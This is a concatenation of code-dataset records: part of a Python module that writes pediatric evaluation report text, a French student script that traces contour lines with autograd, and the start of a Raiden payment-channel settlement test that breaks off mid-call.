(client_info['pronoun'], background_info.birth_weight, background_info.birth_length)\n\n paragraph_one.append(weight.capitalize())\n\n delivery_birth = ''\n\n if background_info.pregnancy_complications != None or background_info.delivery_complications != None:\n if background_info.pregnancy_complications == 'False':\n delivery_birth += 'It was reported that there were no complications during pregnancy.'\n elif background_info.pregnancy_complications_detail != None and background_info.pregnancy_complications == 'True':\n delivery_birth += background_info.pregnancy_complications_detail\n else:\n delivery_birth += 'There were complications during the pregnancy.'\n\n if background_info.pregnancy_complications == 'False' and background_info.delivery_complications == 'False':\n delivery_birth = delivery_birth[:-1] + \" or during %s birth.\" % client_info['possessive_pronoun']\n elif background_info.delivery_complications == 'False' or background_info.delivery_complications_detail == None:\n delivery_birth += ' ' + 'It was reported there were no complications during birth.'\n elif background_info.delivery_complications_detail != None:\n delivery_birth += ' ' + background_info.delivery_complications_detail\n elif background_info.delivery_complications_detail == None and background_info.delivery_complications == 'True':\n delivery_birth += ' ' + 'There were also complications with the delivery.'\n\n paragraph_one.append(delivery_birth)\n\n if background_info.newborn_hearing_test == 'False':\n hearing = \"It was reported that %s passed %s newborn hearing screen.\" % (client_info['pronoun'], client_info['possessive_pronoun'])\n elif background_info.newborn_hearing_test == 'It was reported that ':\n hearing = ''\n else:\n hearing = background_info.newborn_hearing_test_detail\n\n paragraph_one.append(hearing)\n\n if background_info.vision_test == 'False':\n vision = \"It was reported that %s passed %s vision screen.\" % (client_info['pronoun'], client_info['possessive_pronoun'])\n elif background_info.vision_test_detail == 'It was reported that ':\n vision = ''\n else:\n vision = background_info.vision_test_detail\n\n paragraph_one.append(vision)\n\n background_list.append(paragraph_one)\n\n # Start Paragraph 2\n\n paragraph_two = []\n\n p2_sentence_one = '%s has had no ' % client_info['first_name']\n\n p2_sentence_one_list = []\n\n p2_sentence_one_details = []\n\n if background_info.hospitalizations == 'False':\n p2_sentence_one_list.append('significant hospitalizations')\n else:\n if background_info.hospitalizations_detail:\n p2_sentence_one_details.append(background_info.hospitalizations_detail)\n\n if background_info.medical_concerns == 'False':\n p2_sentence_one_list.append('ongoing medical concerns')\n else:\n if background_info.medical_concerns_detail:\n p2_sentence_one_details.append(background_info.medical_concerns_detail)\n\n if background_info.illnesses == 'False':\n p2_sentence_one_list.append('major illnesses')\n else:\n if background_info.illnesses_detail:\n p2_sentence_one_details.append(background_info.illnesses_detail)\n\n if background_info.surgeries == 'False':\n p2_sentence_one_list.append('surgeries')\n else:\n if background_info.surgeries_detail:\n p2_sentence_one_details.append(background_info.surgeries_detail)\n\n if len(p2_sentence_one_list) == 1:\n p2_sentence_one += p2_sentence_one_list[0]\n\n paragraph_two.append(p2_sentence_one + ' since %s birth.' % client_info['possessive_pronoun'])\n elif len(p2_sentence_one_list) > 1:\n for i, x in enumerate(p2_sentence_one_list):\n if i == len(p2_sentence_one_list) - 1:\n p2_sentence_one = p2_sentence_one[:-2] + ' or ' + x\n else:\n p2_sentence_one += x + ', '\n\n paragraph_two.append(p2_sentence_one + ' since %s birth.' % client_info['possessive_pronoun'])\n\n if len(p2_sentence_one_details) > 0:\n paragraph_two.append(' '.join(p2_sentence_one_details))\n\n\n\n p2_sentence_two = 'It was reported that '\n p2_sentence_two_list = []\n p2_sentence_two_details = []\n\n if background_info.medications == 'False':\n p2_sentence_two_list.append('does not take any medications')\n else:\n if background_info.medications_detail:\n p2_sentence_two_details.append(background_info.medications_detail)\n\n if background_info.allergies == 'False':\n p2_sentence_two_list.append('has no known allergies')\n else:\n if background_info.allergies_detail:\n p2_sentence_two_details.append(background_info.allergies_detail)\n\n if background_info.immunizations == 'False':\n p2_sentence_two_list.append('%s immunizations are up to date' % client_info['possessive_pronoun'])\n else:\n if background_info.immunizations_detail:\n p2_sentence_two_details.append(background_info.immunizations_detail)\n\n if len(p2_sentence_two_list) == 1:\n if 'immunizations' not in p2_sentence_two_list[0]:\n p2_sentence_two += client_info['first_name'] + ' '\n p2_sentence_two += p2_sentence_two_list[0]\n paragraph_two.append(p2_sentence_two + '.')\n elif len(p2_sentence_two_list) > 1:\n p2_sentence_two += client_info['first_name'] + ' '\n for i, x in enumerate(p2_sentence_two_list):\n if i == len(p2_sentence_two_list) - 1:\n p2_sentence_two = p2_sentence_two[:-2] + ' and ' + x\n else:\n p2_sentence_two += x + ', '\n\n paragraph_two.append(p2_sentence_two + '.')\n\n\n if len(p2_sentence_two_details) > 0 and p2_sentence_two_details[0] != None:\n paragraph_two.append(' '.join(p2_sentence_two_details))\n\n if background_info.pediatrician:\n p2_sentence_three = 'It was reported that %s is being followed by %s pediatrician, %s.' % (client_info['first_name'], client_info['possessive_pronoun'], background_info.pediatrician)\n\n if background_info.last_seen_appt:\n p2_sentence_three = p2_sentence_three[:-1] + ', and was last seen %s.' % (background_info.last_seen_appt)\n\n if background_info.follow_up_appt:\n p2_sentence_three = p2_sentence_three[:-1] + ', and is scheduled to be seen %s.' % (background_info.follow_up_appt)\n\n if background_info.specialist == 'True':\n p2_sentence_three += ' It was reported that %s is also being seen by: %s' %(client_info['first_name'], background_info.specialist_detail)\n\n paragraph_two.append(p2_sentence_three)\n\n background_list.append(paragraph_two)\n\n # Paragraph 3\n\n paragraph_three = []\n\n\n p3_sentence_1 = \"It was reported that %s met %s developmental milestones as follows: \" % (client_info['first_name'], client_info['possessive_pronoun'])\n\n p3_sentence_1_list = []\n\n if background_info.roll:\n p3_sentence_1_list.append('rolled at %s' % background_info.roll)\n if background_info.sit:\n p3_sentence_1_list.append('sat unsupported at %s' % background_info.sit)\n if background_info.crawl:\n p3_sentence_1_list.append('crawled at %s' % background_info.crawl)\n if background_info.walk:\n p3_sentence_1_list.append('walked at %s' % background_info.walk)\n if background_info.first_speak:\n p3_sentence_1_list.append('spoke first word at %s' % background_info.first_speak)\n if background_info.combine_speak:\n p3_sentence_1_list.append('combined words at %s' % background_info.combine_speak)\n\n if len(p3_sentence_1_list) > 0:\n if len(p3_sentence_1_list) > 1:\n p3_sentence_1 += ', '.join(p3_sentence_1_list[:-1])\n p3_sentence_1 += ', and ' + p3_sentence_1_list[-1]\n else:\n p3_sentence_1 += ', '.join(p3_sentence_1_list[:-1])\n paragraph_three.append(p3_sentence_1 + '.')\n\n\n p3_sentence_2 = \"It was reported that %s goes to bed around %s and wakes up around %s\" % (client_info['first_name'], background_info.bed_time, background_info.wake_time)\n\n if background_info.sleep_thru_night == 'False':\n p3_sentence_2 += ' sleeping through the night.'\n else:\n if background_info.sleep_thru_night_detail:\n p3_sentence_2 += '. %s' % background_info.sleep_thru_night_detail\n\n paragraph_three.append(p3_sentence_2)\n\n\n p3_sentence_3 = 'It was reported that %s takes naps %s.' % (client_info['pronoun'], background_info.nap_time)\n\n paragraph_three.append(p3_sentence_3)\n\n\n p3_sentence_4 = 'It was reported that %s ' % client_info['pronoun']\n\n if background_info.picky_eater == 'good':\n p3_sentence_4 += 'eats well.'\n elif background_info.picky_eater == 'kind_of':\n p3_sentence_4 += 'sometimes eats well and is sometimes picky.'\n else:\n p3_sentence_4 += 'is a picky eater.'\n\n if background_info.feeding_concerns == 'False':\n p3_sentence_4 += ' Care giver reported that there are no feeding concerns at this time.'\n else:\n p3_sentence_4 += ' %s' % background_info.feeding_concerns_detail\n\n paragraph_three.append(p3_sentence_4)\n\n p3_sentence_5 = 'It was reported that %s drinks %s of %s per day.' % (client_info['pronoun'], background_info.milk_amount, background_info.milk)\n\n paragraph_three.append(p3_sentence_5)\n\n feeding_skills = background_info.feeding_skills\n\n p3_sentence_6 = 'It was reported that %s will ' % client_info['first_name']\n\n p3_sentence_6_list = []\n\n if 'finger_feed' in feeding_skills:\n p3_sentence_6_list.append('finger feed')\n if 'use_spoon' in feeding_skills:\n p3_sentence_6_list.append('use a spoon or fork')\n if 'sippy_cup' in feeding_skills:\n p3_sentence_6_list.append('drink from a sippy cup')\n if 'open_cup' in feeding_skills:\n p3_sentence_6_list.append('drink from an open cup')\n if 'straw' in feeding_skills:\n p3_sentence_6_list.append('use a straw')\n\n if len(p3_sentence_6_list) == 1:\n p3_sentence_6 += p3_sentence_6_list[0] + '.'\n paragraph_three.append(p3_sentence_6)\n\n elif len(p3_sentence_6_list) > 1:\n for i, x in enumerate(p3_sentence_6_list):\n if i == len(p3_sentence_6_list) - 1:\n p3_sentence_6 = p3_sentence_6[:-2] + ' and ' + x\n else:\n p3_sentence_6 += x + ', '\n\n paragraph_three.append(p3_sentence_6 + '.')\n\n background_list.append(paragraph_three)\n\n\n\n # Toy likes & dislikes - details text box unique characteritics on form\n\n for x, paragraph in enumerate(background_list):\n background_list[x] = ' '.join([a for a in paragraph if a != None])\n\n background = '\\n\\n'.join(background_list)\n\n return background\n\n\n\n# def test(x):\n#\n# test_eval = models.ClientEval.query.get(x)\n#\n# print('stuff', create_report(test_eval))\n#\n# test(19)\n", "sub_path": "jobs/evals.py", "file_name": "evals.py", "file_ext": "py", "file_size_in_byte": 40125, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 25, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 26, "usage_type": "call"}, {"api_name": "docxtpl.DocxTemplate", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 42, "usage_type": "attribute"}, {"api_name": "app.models.ReportSection.query.filter", "line_number": 54, "usage_type": "call"}, {"api_name": "app.models.ReportSection", "line_number": 54, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 54, "usage_type": "name"}, {"api_name": "app.models.ReportSection.report.has", "line_number": 54, "usage_type": "call"}, {"api_name": "docxtpl.Listing", "line_number": 69, "usage_type": "call"}, {"api_name": "docxtpl.Listing", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "app.models.ClientEval.created_date.desc", "line_number": 140, "usage_type": "call"}, {"api_name": "app.models.ClientEval", "line_number": 140, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 140, "usage_type": "name"}, {"api_name": "app.models.EvalReport", "line_number": 147, "usage_type": "call"}, {"api_name": "app.models", "line_number": 147, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 160, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 160, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 166, "usage_type": "call"}, {"api_name": "app.models", "line_number": 166, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 172, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 172, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 178, "usage_type": "call"}, {"api_name": "app.models", "line_number": 178, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 186, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 186, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 192, "usage_type": "call"}, {"api_name": "app.models", "line_number": 192, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 209, "usage_type": "call"}, {"api_name": "app.models", "line_number": 209, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 217, "usage_type": "call"}, {"api_name": "app.models", "line_number": 217, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 225, "usage_type": "call"}, {"api_name": "app.models", "line_number": 225, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 235, "usage_type": "call"}, {"api_name": "app.models", "line_number": 235, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 242, "usage_type": "call"}, {"api_name": "app.models", "line_number": 242, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 248, "usage_type": "call"}, {"api_name": "app.models", "line_number": 248, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 255, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 255, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 256, "usage_type": "call"}, {"api_name": "app.models", "line_number": 256, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 264, "usage_type": "call"}, {"api_name": "app.models", "line_number": 264, "usage_type": "name"}, {"api_name": "app.models.ReportSection", "line_number": 273, "usage_type": "call"}, {"api_name": "app.models", "line_number": 273, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 276, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 276, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 276, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 277, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 277, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 277, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 289, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 404, "usage_type": "call"}, {"api_name": "app.models.ClientEvalSubtestLookup.query.filter_by", "line_number": 552, "usage_type": "call"}, {"api_name": "app.models.ClientEvalSubtestLookup", "line_number": 552, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 552, "usage_type": "name"}, {"api_name": "app.db.session.query", "line_number": 564, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 564, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 564, "usage_type": "name"}, {"api_name": "app.models.EvalQuestion", "line_number": 564, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 564, "usage_type": "name"}, {"api_name": "app.models.ClientEvalAnswer", "line_number": 564, "usage_type": "attribute"}, {"api_name": "app.models.ClientEvalAnswer", "line_number": 565, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 565, "usage_type": "name"}, {"api_name": "app.models.EvalQuestion", "line_number": 566, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 566, "usage_type": "name"}, {"api_name": "app.models.ClientEvalAnswer", "line_number": 566, "usage_type": "attribute"}, {"api_name": "app.models.EvalQuestion.question_num.desc", "line_number": 567, "usage_type": "call"}, {"api_name": "app.models.EvalQuestion", "line_number": 567, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 567, "usage_type": "name"}, {"api_name": "app.models.ClientEval.query.get", "line_number": 660, "usage_type": "call"}, {"api_name": "app.models.ClientEval", "line_number": 660, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 660, "usage_type": "name"}, {"api_name": "app.models.ClientEvalAnswer", "line_number": 662, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 662, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 675, "usage_type": "call"}, {"api_name": "app.db.session.query", "line_number": 682, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 682, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 682, "usage_type": "name"}, {"api_name": "sqlalchemy.func.max", "line_number": 682, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 682, "usage_type": "name"}, {"api_name": "app.models.EvalSubtestScaledScore", "line_number": 682, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 682, "usage_type": "name"}, {"api_name": "app.models.EvalSubtestScaledScore", "line_number": 683, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 683, "usage_type": "name"}, {"api_name": "sqlalchemy.between", "line_number": 684, "usage_type": "call"}, {"api_name": "app.models.EvalSubtestScaledScore", "line_number": 684, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 684, "usage_type": "name"}, {"api_name": "app.db.session.query", "line_number": 686, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 686, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 686, "usage_type": "name"}, {"api_name": "sqlalchemy.func.max", "line_number": 686, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 686, "usage_type": "name"}, {"api_name": "app.models.EvalSubtestAgeEquivalent", "line_number": 686, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 686, "usage_type": "name"}, {"api_name": "app.models.EvalSubtestAgeEquivalent", "line_number": 687, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 687, "usage_type": "name"}, {"api_name": "app.models.EvalSubtestAgeEquivalent", "line_number": 688, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 688, "usage_type": "name"}, {"api_name": "app.models.ClientEvalSubtestLookup.query.filter_by", "line_number": 690, "usage_type": "call"}, {"api_name": "app.models.ClientEvalSubtestLookup", "line_number": 690, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 690, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 696, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 696, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 696, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 698, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 698, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 698, "usage_type": "name"}]} {"seq_id": "216654985", "text": "# Imports\nimport matplotlib.pyplot as plt\nimport autograd\nfrom autograd import numpy as np\n# Amorce\n\ndef find_seed(g, c=0, eps=2**(-26)) :\n if (c >= g(0,0) and c <= g(0,1)) or (c <= g(0,0) and c >= g(0,1)) :\n #-----------------------------#\n def f(y) :\n return(g(0,y) - c)\n \n def dichotomie(f,a,b) :\n while abs(a - b) > eps :\n c = (a+b)/2\n if f(c)*f(a) > 0 :\n a = c\n else :\n b = c\n return(c)\n #------------------------------#\n t = dichotomie(f,0,1)\n return(t)\n else :\n return(None)\n\ndef norme(X):\n return (X[0]**2 + X[1]**2)**(1/2)\n\ndef simple_contour(f, c=0.0, delta=0.01) :\n X = [] ; Y = []\n # Définition du gradient\n def grad_f(x,y) :\n g = autograd.grad\n grad = np.array([g(f,0)(x,y),g(f,1)(x,y)])\n if norme(grad) == 0:\n return grad\n else:\n return(grad/norme(grad)) # On retourne un gradient normé\n # Recherche de t sur la frontière\n y = find_seed(f,c) ; x = 0.0\n print(y)\n if y != None :\n X.append(0) ; Y.append(y)\n else :\n return(X,Y) # Cas où c n'est pas sur la frontière\n gf = grad_f(x,y)\n if norme(gf) == 0: #si le gradient s'annule c'est qu'on est sur un extremum donc on s'arrête là\n return (X,Y)\n elif gf[1] >= 0 : #on choisit le bon vecteur orthogonal au gradient pour rester dans la cellule\n E = 1\n else :\n E = -1\n # Recherche de la ligne de niveau\n while x >= 0 and x <= 1 and y >= 0 and y <= 1 :\n gf = grad_f(x,y)\n if norme(gf) == 0:\n return X,Y\n gf = gf/norme(gf)\n x += E*gf[1]*delta ; y -= E*gf[0]*delta\n X.append(x) ; Y.append(y)\n \n X.pop() ; Y.pop() #le dernier point est hors du cadre\n return(X,Y)\n#--------------------Contour complexe--------------------#\n#----------Seed pour le contour complexe----------#\ndef seed_complexe(g, x0, x1, y0, y1, c=0.0, eps=2**(-26)) :\n T = []\n #---------Fonction pour la recherche de t-----------#\n def dichotomie(f,a,b) :\n while abs(a - b) > eps :\n c = (a+b)/2\n if f(c)*f(a) > 0 :\n a = c\n else :\n b = c\n return(c)\n #---------On cherche le seed sur les 4 côtés du carré-----------#\n if (c >= g(x0,y0) and c <= g(x0,y1)) or (c <= g(x0,y0) and c >= g(x0,y1)) :\n def f1(y) :\n return(g(x0,y) - c)\n t = dichotomie(f1,y0,y1)\n T.append([x0,t])\n #--------------------# \n if (c >= g(x0,y0) and c <= g(x1,y0)) or (c <= g(x0,y0) and c >= g(x1,y0)) :\n def f2(x) :\n return(g(x,y0) - c)\n t = dichotomie(f2,x0,x1)\n T.append([t,y0])\n #--------------------# \n if (c >= g(x1,y1) and c <= g(x1,y0)) or (c <= g(x1,y1) and c >= g(x1,y0)) :\n def f3(y) :\n return(g(x1,y) - c)\n t = dichotomie(f3,y0,y1)\n T.append([x1,t])\n #--------------------#\n if (c >= g(x1,y1) and c <= g(x0,y1)) or (c <= g(x1,y1) and c >= g(x0,y1)) :\n def f4(x) :\n return(g(x,y1) - c)\n t = dichotomie(f4,x0,x1)\n T.append([t,y1])\n return(T)\n\n###------------------------------###\ndef dichotomie2(f, c, x, y, gf, n, eps=2**(-26), delta=0.01) :\n if n == 0 :\n a = [x,y] ; b = [x+gf[0]*delta, y+gf[1]*delta]\n elif n == 1 :\n a = [x,y] ; b = [x-gf[0]*delta,y-gf[1]*delta]\n while abs(a[0] - b[0]) > eps and abs(a[1] - b[1]) > eps :\n m = [(a[0]+b[0])/2, (a[1]+b[1])/2]\n if (f(m[0],m[1]) - c)*(f(a[0],a[1]) - c) > 0 :\n a = m[:]\n else :\n b = m[:]\n return(m)\n \n \n \n#-------------------------------#\ndef cplx_contour(f, x0, x1, y0, y1, c=0.0, delta=0.01) : # Fonction modifiée\n X = [] ; Y = []\n # Définition du gradient\n def grad_f(x,y) :\n g = autograd.grad\n grad = np.array([g(f,0)(x,y),g(f,1)(x,y)])\n if norme(grad) == 0:\n return grad\n else:\n return(grad/norme(grad)) # On retourne un gradient normé\n # Recherche de t sur la frontière\n T = seed_complexe(f, x0, x1, y0, y1, c)\n for x,y in T :\n X.append(x) ; Y.append(y)\n gf = grad_f(x,y)\n if norme(gf) == 0:\n return X,Y\n # Il y a différentes conditions pour avoir un vecteur \n # orthogonal au gradient dirigé vers l'intérieur du cadre\n if x == x0 :\n if gf[1] >= 0 :\n E = 1\n else :\n E = -1\n elif x == x1 :\n if gf[1] >= 0 :\n E = -1\n else :\n E = 1\n elif y == y0 :\n if gf[0] >= 0 :\n E = 1\n else :\n E = -1 \n else : \n if gf[0] >= 0 :\n E = -1\n else :\n E = 1\n # Recherche de la ligne de niveau\n while x >= x0 and x <= x1 and y >= y0 and y <= y1 :\n gf = grad_f(x,y)\n x += E*gf[1]*delta ; y -= E*gf[0]*delta\n # On se rapproche alors de la ligne de niveau\n if f(x,y) < c :\n x,y = dichotomie2(f,c,x,y,gf,0)\n elif f(x,y) > c :\n x,y = dichotomie2(f,c,x,y,gf,1)\n \n X.append(x) ; Y.append(y)\n X.pop() ; Y.pop() #le dernier point est hors du cadre\n return(X,Y)\n\n \ndef contour(f, c=0.0, xc=[0.0,1.0], yc=[0.0,1.0], delta=0.01) :\n xs = [] ; ys = []\n for i in range(len(xc)-1) :\n for j in range(len(yc)-1) :\n x,y = cplx_contour(f, xc[i], xc[i+1],yc[j],yc[j+1],c,delta)\n xs.append(x) ; ys.append(y)\n return(xs,ys)\n \n \n#-----------------------------------------#\ndef f(x,y) :\n return(2*(np.exp(-x**2-y**2) - np.exp(-(x-1)**2-(y-1)**2)))\n\ndef g(x,y) :\n return(x**2 + y**2)\n\n\n \nC = [0.0,0.5,1.0,1.5,2.0]\nxc = np.linspace(-1,3,40)\nyc = np.linspace(-1,2,30)\n\nfor c in C :\n xs,ys = contour(f,c,xc,yc)\n for x,y in zip(xs,ys) :\n plt.plot(x,y,'b') \n\nplt.xlim(-1,3)\nplt.ylim(-1,2)\nplt.show()\n\n\n \n \n \n ", "sub_path": "Projet MathInfo.py", "file_name": "Projet MathInfo.py", "file_ext": "py", "file_size_in_byte": 6247, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "autograd.grad", "line_number": 34, "usage_type": "attribute"}, {"api_name": "autograd.numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 35, "usage_type": "name"}, {"api_name": "autograd.grad", "line_number": 125, "usage_type": "attribute"}, {"api_name": "autograd.numpy.array", "line_number": 126, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 126, "usage_type": "name"}, {"api_name": "autograd.numpy.exp", "line_number": 186, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 186, "usage_type": "name"}, {"api_name": "autograd.numpy.linspace", "line_number": 194, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 194, "usage_type": "name"}, {"api_name": "autograd.numpy.linspace", "line_number": 195, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 195, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 200, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 202, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}]} {"seq_id": "301931048", "text": "# -*- coding: utf-8 -*-\nimport pytest\n\nfrom ethereum import slogging\n\nfrom raiden.mtree import check_proof\nfrom raiden.tests.utils.blockchain import wait_until_block\nfrom raiden.tests.utils.messages import setup_messages_cb\nfrom raiden.tests.utils.network import CHAIN\nfrom raiden.tests.utils.transfer import (\n assert_synched_channels,\n channel,\n direct_transfer,\n get_received_transfer,\n get_sent_transfer,\n pending_mediated_transfer,\n claim_lock,\n)\nfrom raiden.transfer.mediated_transfer.state_change import (\n ContractReceiveClosed,\n ContractReceiveWithdraw,\n ContractReceiveSettled,\n ReceiveSecretReveal,\n)\nfrom raiden.transfer.state_change import Block\nfrom raiden.utils import sha3, privatekey_to_address\n\n# pylint: disable=too-many-locals,too-many-statements\nslogging.configure(':DEBUG')\n\n\ndef assert_secretreveal_or_withdraw(state_change, secret, channel_address, raiden_address):\n if isinstance(state_change, ReceiveSecretReveal):\n assert state_change.secret == secret\n assert state_change.sender == raiden_address\n elif isinstance(state_change, ContractReceiveWithdraw):\n assert state_change.channel_address == channel_address\n assert state_change.secret == secret\n assert state_change.receiver == raiden_address\n else:\n raise ValueError(\n '{} is neither ReceiveSecretReveal or ContractReceiveWithdraw'.format(state_change)\n )\n\n\n@pytest.mark.parametrize('privatekey_seed', ['settlement:{}'])\n@pytest.mark.parametrize('number_of_nodes', [2])\ndef test_settlement(raiden_network, settle_timeout, reveal_timeout):\n alice_app, bob_app = raiden_network # pylint: disable=unbalanced-tuple-unpacking\n\n setup_messages_cb()\n\n alice_graph = alice_app.raiden.channelgraphs.values()[0]\n bob_graph = bob_app.raiden.channelgraphs.values()[0]\n assert alice_graph.token_address == bob_graph.token_address\n\n alice_bob_channel = alice_graph.partneraddress_channel[bob_app.raiden.address]\n bob_alice_channel = bob_graph.partneraddress_channel[alice_app.raiden.address]\n\n alice_deposit = alice_bob_channel.balance\n bob_deposit = bob_alice_channel.balance\n\n token = alice_app.raiden.chain.token(alice_bob_channel.token_address)\n\n alice_balance = token.balance_of(alice_app.raiden.address)\n bob_balance = token.balance_of(bob_app.raiden.address)\n\n alice_chain = alice_app.raiden.chain\n\n alice_to_bob_amount = 10\n expiration = alice_app.raiden.chain.block_number() + reveal_timeout + 1\n secret = 'secretsecretsecretsecretsecretse'\n hashlock = sha3(secret)\n\n assert bob_app.raiden.address in alice_graph.partneraddress_channel\n\n nettingaddress0 = alice_bob_channel.external_state.netting_channel.address\n nettingaddress1 = bob_alice_channel.external_state.netting_channel.address\n assert nettingaddress0 == nettingaddress1\n\n identifier = 1\n fee = 0\n transfermessage = alice_bob_channel.create_mediatedtransfer(\n alice_app.raiden.address,\n bob_app.raiden.address,\n fee,\n alice_to_bob_amount,\n identifier,\n expiration,\n hashlock,\n )\n alice_app.raiden.sign(transfermessage)\n alice_bob_channel.register_transfer(transfermessage)\n bob_alice_channel.register_transfer(transfermessage)\n\n assert_synched_channels(\n alice_bob_channel, alice_deposit, [],\n bob_alice_channel, bob_deposit, [transfermessage.lock],\n )\n\n # At this point we are assuming the following:\n #\n # A -> B MediatedTransfer\n # B -> A SecretRequest\n # A -> B RevealSecret\n # - protocol didn't continue\n #\n # B knowns the secret but doesn't have an updated balance proof, B needs to\n # call settle.\n\n # get proof, that locked transfermessage was in merkle tree, with locked.root\n lock = bob_alice_channel.our_state.balance_proof.get_lock_by_hashlock(hashlock)\n assert sha3(secret) == hashlock\n unlock_proof = bob_alice_channel.our_state.balance_proof.compute_proof_for_lock(secret, lock)\n\n root = bob_alice_channel.our_state.balance_proof.merkleroot_for_unclaimed()\n\n assert check_proof(\n unlock_proof.merkle_proof,\n root,\n sha3(transfermessage.lock.as_bytes),\n )\n assert unlock_proof.lock_encoded == transfermessage.lock.as_bytes\n assert unlock_proof.secret == secret\n\n # a ChannelClose event will be generated, this will be polled by both apps\n # and each must start a task for calling settle\n bob_alice_channel.external_state.netting_channel.close(\n bob_app.raiden.address,\n 